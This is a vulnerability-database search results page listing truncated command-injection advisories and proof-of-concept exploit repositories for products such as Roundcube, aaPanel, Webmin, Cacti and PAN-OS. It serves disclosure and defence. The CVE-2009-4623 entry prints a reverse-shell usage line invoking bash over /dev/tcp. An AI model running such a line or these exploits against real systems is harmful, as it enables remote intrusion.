94509 matches found
PT-2026-118286
A command injection vulnerability could allow an authenticated attacker to achieve root-level code execution on the system...
PT-2026-118313
A security flaw has been discovered in mcollina mcp-ripgrep up to 0.4.0. Affected is an unknown function of the file src/index.ts of the component Advanced Search Tool. The manipulation of the argument fileType results in os command injection. The attack requires a local approach. The exploit has...
PT-2026-118590
Wavlink WL-WN530BE1-A firmware through M30BE1 V251117 contains an OS command injection vulnerability in the sub 23B54 function of the ioos binary, which passes the unsanitized file id parameter of /protocol.csp?opt=ovpn file requests with type=del to popen. A remote unauthenticated attacker can...
PT-2026-118507
Name of the Vulnerable Software and Affected Versions aaPanel versions prior to 8.25.0 Description An OS command injection issue exists in the File Manager component. The ExecShell function within the class/public/common.py file is susceptible to manipulation via the sfile, dfile, access, and use...
PT-2026-118241
Name of the Vulnerable Software and Affected Versions Roundcube Webmail versions prior to 1.6.20 Roundcube Webmail versions 1.7.x prior to 1.7.5 Description Remote authenticated attackers can perform IMAP command injection by injecting CRLF sequences into the uid parameter of the 'mail/headers' a...
PT-2026-118628
Name of the Vulnerable Software and Affected Versions virtualenv versions prior to 21.14.9 Description When generating POSIX console scripts, ScriptMakerCustom and pip pass an incompletely quoted interpreter path to the distlib ScriptMaker. If the path contains a space or results in a shebang...
PT-2026-118403
Name of the Vulnerable Software and Affected Versions launch-editor versions prior to 2.14.2 Description On Windows, the launch-editor-middleware processes a file argument that can be manipulated to bypass filename existence validation. When a file argument ends with a parent-directory component...
PT-2026-120138
Name of the Vulnerable Software and Affected Versions virtualenv versions prior to 21.14.4 Description The bash activate script, which is also sourced by zsh, fails to properly escape the environment name. In versions prior to 21.13.0, the name remains unescaped. In versions 21.13.0 through...
CVE-2022-36804
CVE-2022-36804 The Bitbucket Server and Bitbucket Data Center components have a command injection vulnerability, according to information recently discovered by the Sangfor security team. An attacker can submit malicious HTTP requests to execute arbitrary code and eventually get access to the...
CVE-2026-112370
A vulnerability was found in H3C Magic NX15 100R017. This issue affects the function sub416874 of the file /usr/bin/usrlist. Performing a manipulation results in os command injection. Remote exploitation of the attack is possible. The exploit has been made public and could be used. The vendor was...
CVE-2012-2982-Exploit-Script
CVE-2012-2982-Exploit-Script A short and sweet simple exploit script for the CVE-2012-2982 Authenticated RCE vulnerability in the /file/show.cgi/bin endpoint. Webmin RCE Exploit — CVE-2012-2982 This repository contains a Python proof-of-concept exploit for Webmin 🧠 Notes Payload defaults to a bas...
Centreon-20.04
CVE-2020-12688 - Authenticated RCE Centreon 20.04 minHelpCommand.php command name variable RCE CVE-2020-12688 Centreon Latest Release Documentation: https://docs.centreon.com/current/en/releases/centreon-core.html Discovered by: TheCyberGeek Date Discovered: 30/04/2020 Date Disclosed: 15/06/2020...
VulnerableSpringDataRest
Vulnerable Spring DataRest App This is an intentionally Spring Data REST Application to test and demostrate the CVE-2017-8046 vulnerability and the challenges of testing Command Injection and Remote Code Execution via REST apis It has support for Swagger UI to use with tools where Swagger...
CVE-2022-46169
CVE-2022-46169 PoC: Authentication Bypass and Remote Code Execution This repository contains a PoC for the CVE-2022-46169 vulnerability, which allows an attacker to bypass authentication and execute arbitrary code remotely on the affected system. This vulnerability affects Cacti, version 1.2.22,...
CVE-2026-112370
A vulnerability exists in H3C Magic NX15 100R017 affecting the sub_416874 function within the /usr/bin/usrlist file. This flaw allows for os command injection through specific manipulation, which can be exploited remotely . The documents indicate that an exploit has been made public and is availa...
CVE-2024-3400
CVE-2024-3400 Vulnerability Description The CVE-2024-3400 vulnerability is a security vulnerability that affects PAN-OS firewalls in versions 10.2, 11.0, and 11.1. This vulnerability is exploited when GlobalProtect gateway and device telemetry configurations are enabled. An attacker can leverage...
CVE-2009-4623
Advanced Comment System 1.0 - Remote Command Execution RCE https://nvd.nist.gov/vuln/detail/CVE-2009-4623 Examples python3 exploit.py http://127.0.0.1 uname -a python3 exploit.py http://127.0.0.1 'bash -i & /dev/tcp/127.0.0.1/443 0&1'...
CVE-2026-106583
A flaw was found in OpenSSH. The OpenSSH client insufficiently sanitizes command-line usernames containing special characters, such as dollar signs and backslashes. When untrusted input is passed to the client command line, an attacker can exploit this issue to perform command injection through...
CVE-2026-112301
A security flaw has been discovered in orbitale imagemagick-php up to 3.3.5. Affected by this issue is the function Command::font of the file src/Command.php. The manipulation of the argument fontFile results in os command injection. The attack can be executed remotely. The exploit has been...